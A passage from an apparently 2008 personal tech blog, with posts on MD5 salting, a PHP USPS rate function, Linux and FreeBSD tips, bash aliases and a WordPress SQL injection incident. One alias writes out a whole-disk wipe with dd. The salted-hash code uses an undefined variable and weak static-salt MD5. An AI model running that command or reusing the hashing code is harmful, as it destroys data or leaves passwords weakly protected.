The code above will output ‘34819d7beeabb9260a5c854bc85b3e44’. Remember now, there is supposed to be no way that this hash can ever be reversed to find the original meaning, in our case the user’s password; however, attackers have created what is called rainbow tables that store known hashes and compares them eventually finding a match. When storing sensitive information like passwords we can’t afford to have someone reversing our hashes.

Reversing an Md5 Hash

Reversing a simple md5 hash is quite easy. This website will reverse an md5 hash for you. In my example I typed in, ‘34819d7beeabb9260a5c854bc85b3e44’ and it showed the original text, ‘mypassword’. As you can see this method of hashing will not be secure enough for storing passwords in a database. We need something more secure.

Making an Md5 Hash More Secure

To make the md5 hash more secure we need to add what is called “salt”. Salt in this sense of the meaning is random data appended to the password to make the hash more complicated and difficult to reverse engineer. Without knowing what the salt is, rainbow table attacks are mostly useless.

<?php
$password = 'mypassword';
$salt='i_always_take_a_sentence_or_two_and_add_some_numbers_8342394';
$saltedHash = md5($pass . $salt);
echo $saltedHash;
?>

Now obviously if an attacker figures out what salt you use the entire hash system is flawed. So keep your salt safe.

As Jade suggested in his comment below, you can decrease the chance of someone reversing an md5 hash by simply having a more complex password. See, Picking Strong Passwords that you can Remember for more info on picking a complex password that is easy to remember.

Weekend Link Roundup: Week 8

2008-05-17T00:00:00Z

Stupid Ubuntu tricks: 5 Steps for resetting a forgotten password - I prefer to use a live cd and use this method but I had a friend that forget his Ubuntu username password the other day and he didn’t have a live CD. This article came in handy.

The Anti-Virus Test File - I have known about this for awhile but is worthing checking out if you haven’t tried it. It’s basically a file that most/all anti-virus programs should pick up. It’s good for testing and seeing if you can get files past your anti-virus program.

Reverse a MD5 Hash - I guess this is proof that hashes are not secure by themselves. You need to use “salt” in your hashes. Salt is a random set of data that only you and the hash interpreter knows. Of course it depends on what you are using md5 for. Many times it doesn’t matter if someone reverses it.

Security-Enhanced Linux - If you are into Linux and security you will eventually find yourself trying out SELinux.

Top 100 Network Security Tools - A top 100 list of the best security tools available. This is also the home of nmap and my favorite security mailing list, Bugtraq.

Generate Flash movies on the fly with PHP - Although I am not sure if I would use this, it is very cool.

Security Best Practices - Yahoo’s security best practices. This is a huge resource full of great information from website security to security on a FreeBSD machine.

Blueprint CSS Framework - Develop CSS sheets and layouts for sites fast. Already optimized and easy to use. Here is a sample page.

Finding the Lowest or Highest Number with PHP

2008-05-16T00:00:00Z

Recently I was writing a script and ran into a problem. I needed to compare a set of numbers and find the lowest one. Now, at first I thought that I could compare each one with if statements but I knew there had to be a better way (there always is). If you have 1000 numbers you would never be able to write all that code to work efficiently.

Fortunately PHP provides the two functions that I needed. One function for finding the lowest number in a dataset and one function to find the highest.

Finding the Lowest Number

echo min(2, 3, 1, 6, 7);  //  PHP would print '1'.

You can also determine the lowest number in an array:

echo min($someArray);

Finding the Highest Number

As you may have guessed we will use the opposite of min, Max.

echo max(2, 3, 1, 6, 7);  //  PHP would print '7'.

A Practical Example

I mentioned that I need to find the lowest number in a data set in one of my scripts. The script was a rate comparison tool that utilized two functions that I created for querying rates from both UPS and The US Postal Service. I wanted to simply highlight the lowest rate. I utilized PHP’s min function as I briefly described above.

<?php
lowestRate = min($UPSGroundRate,$USPSPriorityRate,$USPSParcelRate,$USPSFlatRate);
?>

I Received my PayPal SecureKey Today

2008-05-15T00:00:00Z

Well, today I received my Paypal SecurityKey. I have been really excited to try this device and I have been anxiously waiting for its arrival. Today I finally received it and overall I really like it and I am glad I got it. The key came a little faster than they said it would, but I was so excited to try it out that it seemed like a life time. When it finally came I was ready to try it.

What I like about it

I love knowing the fact that someone on the internet can have full knowledge of my username and password and still not be able to log into my Paypal or Ebay account. Another thing that I like is that as a side effect the device protects against phishing attempts. If a phishing site masquerading as Paypal attempts to ask for my username or password without also asking for my security key I will know right away. This alerts me and sends a red flag, Don’t enter any personal information into this site. If I accidentally type my username or password into the phishing site it wont matter because in order to log into successfully to my Paypal account that attacker would need both the login credentials and the physical Paypal security device in their possession.

The device is a little smaller than I expected which is a good thing. It is small enough to attach to a key chain. What I did was attach it to a lanyard that also carries my USB thumbdrive.

The Paypal SecurityKey is cheaper than Verisign’s SecurityKey, which is another reason to like it. Paypal is actually subsidizing this device and losing money on the deal. They offer the device for only $5.00. These devices purchased directly from Verisign are $30.00. I think the $5.00 charge is there to make sure we actually use the device if we get it.

Where I can use it

The cool thing about the Paypal SecurityKey is that it is actually a Verisign SecurityKey (for a lot cheaper). This means that the device can be used anywhere that Verisign keys are accepted. As we know Paypal is owned by Ebay so naturally you can use your PayPal Security with Ebay at no extra cost, which is cool. Ebay and Paypal are probably the most attacked and targeted sites for phishing and exploit attacks. Having the extra layer of protection that this device provides is especially useful for these sites.

You can also use the Paypal SecurityKey anywhere that supports the OpenID authentication system. There are a number of sites that support OpenID one of which is Verisign. They have their own OpenID site. If you haven’t checked out OpenID you should. I just wish OpenID was supported by more web services.

Use the Same Technology for Free

If you want to use this multi-function authentication system offered by Paypal, Ebay, OpenID and others but not sure you want to pay the $5.00 you can add the Verisign program to your existing USB thumbdrive. Currently it looks like the program only works on sandisk drives that use the U3 technology. You can download the program from Verisign’s Identity Protection Center. I personally can’t stand the U3 technology and remove it from all of my thumbdrives, so I haven’t had a chance to actually try Verisign’s U3 program. If anyone tries it please comment below and let us know how the installation went and the ease of use.

Calculating USPS Shipping Rates with PHP

2008-05-14T00:00:00Z

Update: For a no fuss, 100% complete USPS script with label printing support, integration and support, I have created, RocketShipIt.

If you have a custom shopping cart and you want to calculate actual shipping rates from USPS this is the post for you. After giving up searching the internet for PHP scripts or examples of implementing USPS rates I decided to create my own. I hope that by the end of this post you will have an understanding of the process and you can begin implementing USPS rates in your own website.

The function discussed below is used for communicating with the United States Postal Service (USPS). If you are looking for the United Postal Service (UPS) function see, Calculating UPS Shipping Rate with PHP.

After looking through the USPS rates manual I begain to try and create a working script. None of the examples in the manual worked for me so I called them up. They ended up just moving my account from testing to production. If you are just starting out I would suggest you call them and start mentioning how their examples didn’t produce the same results and you are attempting to create an application using their API.

When I called USPS the lady on the phone said, “I don’t know what you are talking about. I’ll just move your account to production”. Once I was moved to the production server all of the examples in the user manual worked and I was on my way to creating my very own implementation of the USPS rates API.

I am still not sure why they provide a testing server if it doesn’t work the same way as the production server.

You may wish to grab a copy of the USPS Rates Manual for yourself.

Things you Need

USPS Webtools Account - free but requires registration
USPS Username - Comes with the Webtools account
cURL - Most LAMP (Linux, Apache, Mysql, PHP) web hosts have this installed by default. If you are not sure you have this installed on your server you can use the serverReporter script. Just copy and paste the file upload to your webserver and view it. Go here if you want to know more about the serverReporter.
PHP - You should know a little bit about using PHP. After all you are about to create a custom USPS shipping calculator.
XML - If you know what PHP is you should know what XML is. You should at least know how XML works in a nutshell.
SSH access - Many web hosts offer SSH. You don’t HAVE to have it but it can make troubleshooting easier.

USPS Service Codes

FIRST CLASS
PRIORITY
EXPRESS
BPM
PARCEL
MEDIA
LIBRARY
ALL

Required XML Tags to Complete a Rate Request

The USPS API requires cetain XML tags in the request before it will start its rate calculations. If you fail to provide the required tags USPS will return with an error code. I have provided the required XML tags for you.

RateV3Request - Required Once
RateV3Request/USERID - Required
RateV3Request/Package - Required
RateV3Request/Package/Service - Required
RateV3Request/Package/ZipOrigination - Required Once
RateV3Request/Package/Pounds - Required Once (if it weighs less than a lb use ‘0’ Max: 70lbs)
RateV3Request/Package/Ounces - Required (use ‘0’ if you don’t use ounces)
RateV3Request/Package/Size - Required (LARGE,REGULAR,OVERSIZE)

Simple XML Request Example

A barebones request was taken straight from the USPS manual. It is a simple XML file that needs to be posted to the USPS server. As you can see it contains all the required XML tags. Of course you will need to change the USERID to your actual USERID that you got from registering with USPS.

<RateV3Request USERID="000AAAAA9999"> 
<Package ID="1ST"> 
   <Service>FIRST CLASS</Service> 
   <FirstClassMailType>LETTER</FirstClassMailType>
   <ZipOrigination>44106</ZipOrigination> 
   <ZipDestination>90210</ZipDestination> 
   <Pounds>0</Pounds> 
   <Ounces>0.75</Ounces> 
   <Size>REGULAR</Size> 
   <Machinable>false</Machinable> 
</Package>
</RateV3Request>

If you noticed there was only one package included in this request. The USPS API allows multiple packages in one XML request. To lighten the load and time it takes to generate rates for multiple packages it is recommended that you send a single XML request with multiple packages as opposed to sending multiple XML requests for single packages.

You can add more packages to the code by adding another XML package set:

<Package ID="2nd">

The USPS Rate Calculator PHP Function

Finally, the code that you have all been waiting for. This is the PHP function that will return the USPS rate as a decimal value for use in displaying or calculating the shipping cost and final charge to the customer.

<?php
function USPSParcelRate($weight,$dest_zip) {

// This script was written by Mark Sanborn at https://www.marksanborn.net  
// If this script benefits you are your business please consider a donation  
// You can donate at https://www.marksanborn.net/donate.  

// ========== CHANGE THESE VALUES TO MATCH YOUR OWN ===========

$userName = 'username'; // Your USPS Username
$orig_zip = '12345'; // Zipcode you are shipping FROM

// =============== DON'T CHANGE BELOW THIS LINE ===============

$url = "http://Production.ShippingAPIs.com/ShippingAPI.dll";
$ch = curl_init();

// set the target url
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

// parameters to post
curl_setopt($ch, CURLOPT_POST, 1);

$data = "API=RateV3&XML=<RateV3Request USERID=\"$userName\"><Package ID=\"1ST\"><Service>PRIORITY</Service><ZipOrigination>$orig_zip</ZipOrigination><ZipDestination>$dest_zip</ZipDestination><Pounds>$weight</Pounds><Ounces>0</Ounces><Size>REGULAR</Size><Machinable>TRUE</Machinable></Package></RateV3Request>";

// send the POST values to USPS
curl_setopt($ch, CURLOPT_POSTFIELDS,$data);

$result=curl_exec ($ch);
$data = strstr($result, '<?');
// echo '<!-- '. $data. ' -->'; // Uncomment to show XML in comments
$xml_parser = xml_parser_create();
xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);
$params = array();
$level = array();
foreach ($vals as $xml_elem) {
    if ($xml_elem['type'] == 'open') {
        if (array_key_exists('attributes',$xml_elem)) {
            list($level[$xml_elem['level']],$extra) = array_values($xml_elem['attributes']);
        } else {
        $level[$xml_elem['level']] = $xml_elem['tag'];
        }
    }
    if ($xml_elem['type'] == 'complete') {
    $start_level = 1;
    $php_stmt = '$params';
    while($start_level < $xml_elem['level']) {
        $php_stmt .= '[$level['.$start_level.']]';
        $start_level++;
    }
    $php_stmt .= '[$xml_elem[\'tag\']] = $xml_elem[\'value\'];';
    eval($php_stmt);
    }
}
curl_close($ch);
// echo '<pre>'; print_r($params); echo'</pre>'; // Uncomment to see xml tags
return $params['RATEV3RESPONSE']['1ST']['1']['RATE'];
}
?>

I have created a working model of the rates calculation that will compare rates between USPS and UPS.

To use the function you use the following format:

USPSParcelRate($weight,$dest_zip)

An example of this being called on your website would be:

echo USPSParcelRate(3,90210);

Troubleshooting

If you are not recieving a rate from the USPS servers you need to check what error message they gave. My script will output the entire XML response in html comment tags. This will allow you to view any errors generated by the USPS API. To view this you will need to uncomment the lines specified in the function and simply click view source in your browser and look for the XML data.

Future Versions and More

I plan to create a more intricate version that will have many more options. Instead of being a simple function it will be a complete rate calculation tool. I plan to eventually create a framework that allows developers an easy and quick way to develop entire full feature shipping modules. The current open source shopping projects in my opinion are very lacking and do not really allow the users complete control to integrate with their own systems or systems that are already in place. The current solutions are more like a pre-built website with a shipping module. My framework would be for those who wish to create their own shipping systems or integrate with an existing one.

So, what would you like to see in a framework? What options and configurations would you like to see? Please leave a comment below.

Also stay tuned for my post about how I created a script that calculates how many widgets will fit in a box before having to add another box to the shipping total. Many sites will end up charging the customer one package for the total weight of the cart. Other times they will charge as if each widget was shipped in its own box. I will discuss why each of these methods are flawed and how I found a solution.

5 Things you Need to Know When Switching to Linux

2008-05-12T00:00:00Z

Everything in Linux is a file, even your hard drives. (dev/hda1) No c:/ stuff. Linux is based on a directory system which is all contained in ‘/’, aka root.

The ‘slash’ is very important, for example, /mnt will start at / and look for mnt. If you type mnt/file it will look in the current directory that you are in for the folder ‘mnt’ and the file ‘file’. This was very confusing for someone that isn’t used to typing paths into the command line. Windows users are used to typing c:/ for the root directory so they may forget that / is the top level.

All configurations are done in text files. /etc/file and ~/.files. Get used to editing text for configuration. When you get used to it you will be far more productive. You will wonder why you ever had to navigate through screen after screen and tab after tab to find an obscure check box.

All log files are stored in text files as well. This is awesome compared to the way Windows does it because you can create your own programs easily to search and decipher the logs. No longer have to deal with complex APIs and other Windows garbage. It’s just text!

Linux is built upon many small programs that do a very simple task. These programs are extremely specific. They do exactly what they were written to do and nothing more. For example, in Linux there is a program that opens and closes the CD-ROM. Thats it! Many times they are tweaked to be so efficient that there is no need to rebuild it. The Linux philosophy is to incorporate smaller programs into larger ones.

A perfect example of this would be the popular burning program, k3b. K3b is really only a front end GUI for many small programs. It uses, growisofs, cdrtools, cdrdao, dvd+rwtools, etc… If you wanted to create an automated script that burns a DVD after it is done copying, you can issue one short command.

The only problem with building upon smaller programs is that you need to have all the smaller programs or the larger one doesn’t work (obviously). If k3b is missing cdrtools you wont be doing much burning. These smaller programs are called dependencies. These days there aren’t many problems with dependencies any more because of package management programs. Package management tools will ensure that all of the programs that k3b requires are downloaded installed and configured properly.

Everything in Linux is case sensitive. /path/to/File is not the same as /path/to/file. Linux tends to be exact, ‘a’ and ‘A’ are represented by completely different ascii codes. Historically, MS-DOS only used uppercase to represent filenames. In an attempt to allow lowercase while retaining backward compatibility, Windows 95 introduced LFNs (Long File Name) into the FAT filesystem. LFN allowed filenames longer than the MS-DOS 8.3, and in an effort to keep things uncomplicated, made no distinction between upper and lower case letters.

One benefit to having case sensitive commands is the ability to support commands that require many flags like, ‘command -a -A -r -R’. Another reason why case sensitive is supieror is because it is much faster at sorting. Case sensitivity also ensures that all commands will documented consistantly. If a specific command is represented as LS in one script it will have to also be used as LS in another. Using Ls will simply not work. Any programmer will tell you how important consistancy is. Since Linux was built for programmers in mind this makes sense.

Hidden files or folders start with a dot. Many times these are profile or settings text files. In your home directory you may have a file like, ‘.bashrc’. This is the settings for your bash profile. To view hidden files from the command line you can execute the all command.

ls -a

Weekend Link Roundup: Week 7

2008-05-11T00:00:00Z

Hackers try to cause seizures on epilepsy site - Wow… just, wow… Computer security may now be life threatening. This is a very scary.

Compiz Fusion Truly Spherical Desktop View Arrives! - Another cool effect is released for Compiz. This one is kinda cool.

The heron has landed: a review of Ubuntu 8.04 - A nice review on the latest version of Ubuntu.

OpenOffice.org 3.0 Beta - The newest version of OpenOffice is available as Beta version. It comes a with a bunch of new features including, support for Max OSX, the newest Open Document Format, and Microsoft Office 2007 support.

http://www.cacti.net/ - This is the best network graphing/monitoring program that I have come across. If you ever want to know what kind of traffic is taking up bandwidth on your network check this out. Its free and open source too!

Free CompuSec - A cool free full drive encryption utility that can be turned on pre-boot. It uses the Rijndahl cipher so you can rest assure that nobody will be able to use/modify your data.

How Much File Sharing Traffic Travels the Net? - An interesting article showing you what percentages of the pipe are taken up by file sharing programs.

Homer Simpson drawn in CSS - This is crazy. An entire image of Homer drawn up entirely with CSS. The author must have been really bored as this would have taken some serious time.

Duplicate Content Causes SEO Problems in Wordpress

2008-05-09T00:00:00Z

Wordpress by default is very un-search engine friendly. There are many places where content is the same yet the URL is different. Google recognizes this as duplicate content.

Modern search engines like Google penalize for duplicate content. They do this because they want to give credit to the original author and keep spammers or copiers from getting page rank. They also do this to separate actual content and navigation/sidebar/ and other text that is not ranked as higher value. This all helps Google provide better search results.

So whats the big deal?

Here is a direct quote from Google’s FAQ: How can I create a Google-friendly site?

Don’t create multiple copies of a page under different URLs. Many sites offer text-only or printer-friendly versions of pages that contain the same content as the corresponding graphic-rich pages. To ensure that your preferred page is included in our search results, you’ll need to block duplicates from our spiders using a robots.txt file.

The problem is that your Wordpress blog by default will not rank well in Google’s search engines because of the duplication problem. Fortunately Google and other search engines have provided us with a tool to inform their search engine spiders to ignore specific content.

Let me give you a few examples of where Wordpress contains the same content throughout multiple URLs.

www.yourblog.com has by default that last 10 or so posts. The “original content” maybe in this URL: http://www.yourblog.com/2008/04/title-of-story , but is also on your home page.
http://www.yourblog.com/2008/04/ - Your archive pages contain the same content as your main page with a date range.
**http://www.yourblog.com/category/category-name/ **- The same thing goes for your category pages. Every post in the category-name category will be duplicated within this URL.
http://www.yourblog.com/feed - All articles in their entirety are duplicated in all of the Wordpress default feeds.
http://www.yourblog.com/search - Of course all search results will also be duplicated content.

As you can see these URLs are all different but contain the exact same content. If you don’t want to be penalized by google you need to create a file at the root directory of your blog called, ‘robots.txt’. This is the file that search engine spiders will be looking for and this is where you specify the rules you want them to follow.

Robots.txt

The following robots.txt file will pretty much restrict search engine spiders from most of the duplication problems I can think of.

User-agent: *
Disallow: /wp-
Disallow: /search
Disallow: /feed
Disallow: /comments/feed
Disallow: /feed/$
Disallow: /*/feed/$
Disallow: /*/feed/rss/$
Disallow: /*/trackback/$
Disallow: /*/*/feed/$
Disallow: /*/*/feed/rss/$
Disallow: /*/*/trackback/$
Disallow: /*/*/*/feed/$
Disallow: /*/*/*/feed/rss/$
Disallow: /*/*/*/trackback/$

Since we want the bots to follow links in our category, archive pages and certainly the home page we will have to treat them differently. We want search engine spiders to follow the links on these pages yet we don’t want the actual content indexed due to the duplication penalties.

This code will tell the bots to follow links and ignore content. Place this html code in your archive and category pages.

<meta name="robots" content="noindex,follow" />

Another line of defense for fighting against duplication on these pages is to use the Wordpress ‘more’ function. When you add the more function in your posts Wordpress will cut the article off at that point and offer the reader a “read more” link. Not only does this help with duplication issues it will make navigating through articles much easier for your users.

The more function:

Of course Google has many ways to determine page rank and how pages are indexed. We can never be sure how Google weighs them and what other factors determine a page’s quality content. So you may find a piece of content that is duplicated all over the internet but the original is still ranked high because of link popularity or other factors.

Your entire website may also be a duplicate. Check out, Duplicate Content www vs. non-www Canonical Problems.

Paypal Security Key for Multi-Factor Authentication

2008-05-05T00:00:00Z

After listening to an episode of the Security Now Podcast I was fascinated by the idea of multi-factor authentication. In the perfect paper password episode they discussed using one time passwords that were written on a credit card sized piece of paper. Each time you log in you would have to supply both your password and a pseudo-random one time use password that is on your credit sized perfect paper password card. The next time you logged in you would have to supply the next one time password from the card. When all the passwords are used up you would print another card and start the process over.

The strength in this lies in the fact that someone listening to authentication process knowing every detail about the process would not be able to utilize a replay attack. That is, they would not be able to authenticate if they typed in your password and one time key. This is because the key is exactly how it is written, one time use.

If someone were to find your paper with one time keys they would still not be able to log in because they do not have knowledge of your password.

Although Steve Gibson from Security Now has a more secure implementation and full documentation on how to implement it, Verisign/Paypal have a similar proprietary system in place. One of the major differences in their system is they don’t use a piece of paper but rather a digital device with keys that change based on time. They are synced with the server and display a different key based on the current date and time.

With security these days and the number of vulnerabilities I was excited to find out that Paypal offers the device for only $5.00. These devices purchased directly from Verisign are $30.00 for the football shaped one and $48.00 for the credit card style. The Paypal device is the exact same for a fraction of the price and worth every penny. The best part of the whole thing is that the device can be used for all online services that use OpenID Authentication.

Let me reiterate how cool this thing is. Someone can have full knowledge of your password but still have no access without having this physical device in their hands. On the flip side if you lose the device it is meaningless without knowledge of the account’s username and password.

They only thing draw back is having to carry around the key chain size device around. They do have a credit card style device but it is $48.00. This would be much more convenient though because you can carry it in our wallet and most people carry their wallets around.

Create your own

If you are interested in creating your own one-time multi-factor authentication system using paper instead of an electronic device you can check out, perfect paper passwords. Open source applications have already been implemented. Someone has already written a PAM plugin for Linux so you can authenticate SSH sessions with this method. There is even a PHP function for creating secure web logins. The method described is even more secure than Verisign but you do have to print out paper cards every 100 or so logins.

Weekend Link Roundup: Week 6

2008-05-03T00:00:00Z

Server Environment Discovery Tool - This is an sweet time saver for knowing what services a server offers.

Feds: We will search through your laptop files at the border - Well this seems crazy to me. If you are traveling abroad you may be subject to search and seizure of your laptop/cellphone data. I’ll quote good ol’ Ben Franklin, “They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.” I recommend using a program like truecrypt for whole drive encryption. I think it would also be fun to write over the “blank spots” of your hard drive with Rick Astley videos.

Microsoft device helps police pluck evidence from cyberscene of crime - Microsoft apprently made a USB device that allows law enforcement to quickly decrypt passwords and perform other forensic tasks. I am guessing it will decrypt Windows passwords easily since this has already been done, but what good is it for people that operating systems with real encryption and authentication methods?

Opera 9.5 beta 2 improves speed, adds features - The author of this artcile does his own tests and finds Opera is much faster than Firefox and the new beta version of Firefox. I have always liked Opera for many reasons and always knew opera was lighter and faster than other browsers. The artcile is a well written review of the newest version.

Error Message: Your Password Must Be at Least 18770 Characters and Cannot Repeat Any of Your Previous 30689 Passwords - An actual error in Microsoft Windows with resolution. Unbelievable!

Hackers Focus Efforts on Firefox, Safari - An intersting article about hackers targeting the ever popular Firefox and Safari internet browsers. I suspect hackers will be targeting Firefox even more in the future.

10 Tips for After You Install or Upgrade Ubuntu - If you are new to Linux you are probably using Ubuntu. If you are new to Ubuntu you should probably check this article out. :)

Use the YouTube API with PHP - A neat in depth article about using Youtube’s API with PHP. I havn’t thought of a way to use this yet, but very cool.

Adsense Split Testing Results for 250x250 vs 300x250

2008-04-30T00:00:00Z

If you remember back to the post I wrote, Using PHP to Determine Which Adsense Ad Works Best, we explored ways to split test the performance of Adsense with the help of PHP. I had also promised to share the results of my testing for the month of April. Below are my results.

I was surprised to find that on my particular blog the smaller Adsense ad was significantly more effective than the larger 300x250 ad. This is great news for you since there will be less ad space and more content.

Here are my results for the split testing of the two ad mediums.

250x250

48.27% of the clicks .59 CTR eCPM was 171% higher than 300x250 resulting in 73.03% of the revenue.

300x250

51.72% of the clicks .64 CTR eCPM resulted in 26.97% of the revenue.

Although the 300x250 ad had a slightly higher click through rate, the 250x250 ad out performed the other ad in terms of net revenues.

Have you split tested your ads? If so please share your results.

Creating Useful Bash Aliases

2008-04-23T00:00:00Z

Bash can be configured to recognize any word you want and link it to a command. This is called an alias. This is can be used for many reasons. For instance, you could assign a short word like dvdbackupnow to execute a very long command that you don’t want to memorize each time you want to back up a DVD. We will explore a few useful aliases and how to add them to bash.

To create an alias you need to modify ‘/home/user/.bashrc’. Towards the bottom of the file you can add lines for aliases. Most people will find that they already have at least one default alias. Usually the ‘ls’ command is mapped to ‘ls -G’. The ‘-G’ flag tells the program to print directories in color.

Once the ‘.bashrc’ file is modified you will have to re-login to that shell for the settings to take effect.

Example Aliases

Lets say you maintain multiple servers using ssh with different IP addresses and varying user names. You could use aliases to minimize typing and having to memorize IP addresses and names.

alias server1='ssh 192.168.1.102 -l pete' alias server2='ssh 192.168.1.103 -l larry' alias server3='ssh www.myremoteserver.com -l bob'

You could make a system backup script and whenever you feel like you need to make a quick unscheduled backup you could use:

alias backupNow='sh /path/to/my/backupscript.sh'

You could make an alias to show open ports in your system.

alias openports='netstat -nape --inet'

It is often helpful to make an alias for really long directories that you navigate to a lot.

alias g2path='cd /go/to/this/path/that/is/really/long/and/annoying/to/type; ls'

For the ultra paranoid you can set up an alias to wipe your hard drive.

alias wipenow='dd if=/dev/urandom of=/dev/hda'

Using aliases with variables

You can use variables in aliases if you want to get more use out of them.

alias psx="ps -auxw ¦ grep $1"

This will except a variable in the alias. For example you could type this command:

$ psx ssh

This will print out detailed information about the ssh process.

By setting variables into your alias you can make your alias have multiple uses. For example our ‘psx’ alias can be used to find all the processes started by user, ‘mark’.

$psx mark

If you have a long command that you type frequently consider putting it in as an alias. If you think of any useful alias ideas let us know in the comments below!

Encrypt a File on Linux or FreeBSD with GnuPG

2008-04-22T00:00:00Z

If you ever wanted to quickly encrypt a file in Linux or FreeBSD without complicated keyrings and key files this is the post for you. In this guide we will use gnupg to quickly encrypt any file in Linux or FreeBSD. We will keep it simple and easy and leave out public/private key ring authentication and stick with simple password phrase encryption. Unlike password protection in zip files and other weak security implementation, PGP or GnuPG is a very secure way of encrypting files. It is pretty easy to set up so lets get going.

Linux

Start by installing gnupg For Debian and Ubuntu systems use:

# apt-get install gnupg

Installing GnuPG on FreeBSD

To install GnuPG with FreeBSD’s ports package management system use:

`# cd /usr/ports/security/gnupg

make install clean`

You also need to install pinentry. This is the program gnupg uses to create password phrases.

`# cd /usr/local/ports/security/pinentry

make install clean`

If you don’t install this you will get an error when you run gnupg like this:

gpg-agent[13068]: can’t connect server:ERR 67109133 can’t exec /usr/local/bin/pinentry’: No such file or directory’ gpg-agent[13068]: can’t connect to the PIN entry module: IPC connect call failed gpg-agent[13068]: command get_passphrase failed: No pinentry gpg: problem with the agent: No pinentry

I am not sure why FreeBSD doesn’t mark this as a dependency.

Encrypting the File

To encrypt the file all you have to do is:

gpg -c someFile.txt

To decrypt you can use:

gpg someFile.gpg

You will probably want to destroy the original unencrypted file. You can Securely Wipe a File with DD. By wiping the file with DD the original file will not be easily retrievable on your hard drive. This step is usually necessary because simply deleting doesn’t actually destroy the file.

Numbering Each Line in a Text File

2008-04-21T00:00:00Z

Sometimes we are given an error message that references a line number in a text file. We can number each line so we can find the error message right a way. In fact, we can print out the exact line that contains the error. This is often useful for finding errors in PHP. If there is an error in the syntax of PHP it will give you the line number it is on. Often times I don’t work in an environment that shows line numbers and I am not about to count each line by hand.

To print out the exact line with cat you can use:

$ cat -n someFile.txt | grep -w 500

This would print out the 500th line.

Command Breakdown

cat - this command will concatenate (print) text. -n - the ‘n’ switch tells cat to add line numbers. | - the | or AKA pipe will take the results from ‘cat -n’ and pipe them to grep grep - this is a text search program. This will look for certain strings -w - the w command tells grep to only match whole words 500 - this is the “word” we are looking for.

Adding Line Numbers to Vim

Open the file with Vim:

$ vim someFile.txt

Then add the show line numbers option by typing the following:

:set number

Weekend Link Roundup: Week 5

2008-04-19T00:00:00Z

BSDTalk - A cool podcast that discusses FreeBSD. They interview many FreeBSD developers and have some interesting discussion.

The 7 Habits of Highly Effective Linux Users - An interesting article with 7 great tips for beginners learning Linux. Although the advice the author gives is very basic and common knowledge, he explains his advice very well. I think Linux beginners would get a lot of value out of reading this.

TaoSecurity - This is a cool blog I found that discusses various security topics.

Lighttpd - Although I have yet to try this web server it looks very promising. It is supposed to be a lot lighter weight and faster than apache. I might use this on my test server.

David Walsh Blog - If you are into web development with PHP and starting to implement AJAX this site is great. It is updated daily with lots of neat tips and how tos.

Sandboxie - If you haven’t tried this program yet you should. It is a program that runs in windows that allows you to open programs in a “sandbox” or a virtual environment that does not have access to your hard drive. In other words you could open a virus with this program. After you close the sandbox the virus is like it was never there. This is useful if you want to try demo programs without the risk.

chkrootkit - This is program is pretty much essential if you are looking for root kits.

Network Calculators - If you are setting up a new router or firewall rules and you forget the binary structure of an IP address this site will help you calculate subnet masks and how many nodes are available in the network.

Finding Ports to Install in FreeBSD

2008-04-18T00:00:00Z

FreeBSD is founded on the idea that compiling is faster/better than using pre-made packages. To make compiling easy FreeBSD uses a “package management” system called ports; however, it is difficult to find the port to compile since FreeBSD’s package management system is really just empty directories with build instructions. These directories are categorized by the package application so that you can browse them, but it is difficult sometimes to find a package.

One way to find ports is by using the echo command and some wild cards. This is my favorite method. For example if we were looking to install the Apache web server we could use this command:

echo /usr/ports/*/*apache*

If you are feeling lucky you can even use the change directory command to go right into the port’s directory.

cd /usr/ports/*/*portupgrade*

An alternative way to find ports would be to use ports built in search feature.

cd /usr/ports
make search name=apache

You could also visit FreeBSD’s online ports search.

To stay updated with new ports you can check out FreshPorts. FreshPorts offers a service that will email you anytime there is a new version or change to a specific port. This is really helpful if you are running a production server that has a mission critical port on it, like an Apache web server.

Using one of these methods you are sure to find what you are looking for.

First Time Upgrading FreeBSD

2008-04-17T00:00:00Z

If you remember from my post on my Initial Impression of FreeBSD 7.0 I am fairly new at using FreeBSD. After my recent Wordpress SQL Injection Attack I went around updating everything that I could get my hands on. A FreeBSD server happened to be one of those things that need updating.

Fortunately FreeBSD has a great utility to keep everything updated. It’s called portupgrade. If you don’t already have it installed you can install it through ports.

# /usr/ports/ports-mgmt/portupgrade

Now before you start the portupgrade process lets find out what ports actually need updating. This way if we find any programs that we would rather have the old version we exclude it. Another reason we want to know which programs need updating is to find applications that may require special updating instructions.

To find the programs that are out of date run:

# pkg_version -v

This is also a good time to watch the list and find packages that you may no longer need.

To update all ports use:

# portupgrade -a

If you want portupgrade to ask you each time before updating you can use interactive mode.

# portupgrade -ai

Maybe you ran a portaudit and only one of the programs needs a security upgrade and you just want to upgrade that one for now.

# portupgrade -R firefox

That is about all there is to updating your entire FreeBSD system. I sure wish I could update every program in Windows with one simple command.

SQL Injection Attack and Updating Wordpress

2008-04-16T00:00:00Z

Well, today one of the blogs that I maintain for someone was compromised by an SQL injection. The hacker had apparently injected an invisible iframe that contained that loaded a website that contained a trojan. They had also placed invisible links to casinos, porn, and other shady sites.

The attacker was able to accomplish this attack due to a vulnerability in Wordpress. As with any code there is always a hole; it is just a matter of time before someone will find it. Fortunately Wordpress actually found the vulnerability long ago and it was fixed in a newer version. This blog was running Wordpress 2.0. I guess I wasn’t maintaining it very well. I neglected to upgrade it to the newer version of Wordpress costing me frustration. Fortunately the attack was caught within a few days before it did too much damage.

There were two warnings that allowed me to find the SQL injection exploit. The first warning was received when I noticed the stats for the blog were dropping rapidly. At first I attributed this to Google changing their algorithm and my blog was suffering from poor page rank since a rapid drop in visitors has happened before. The next warning was brought to me by an editor of the blog. He had said his anti-virus program had alerted him that the website was redirecting him to a known trojan site. The anti-virus that caught the attack was NOD32. This is another example of why I think NOD32 is the best anti-virus.

After doing a Google search for iframe SQL attacks in Wordpress I found many articles and people that had the same problem as I had. I even found an article on the Wordpress admin page that caught my attention. The article was, SecurityFocus SQL Injection Bogus The first paragraph says that the vulnerability doesn’t exist and people are simply “crying wolf”. I was frustrated at first by the artcile because the vulnerability was real and I was effected by it.

After further reading I found out that he was taking about people that claimed that the vulnerability still existed in the newer versions of Wordpress. The vulnerability definitely still effects Wordpress version 2.0

The Moral of the Story

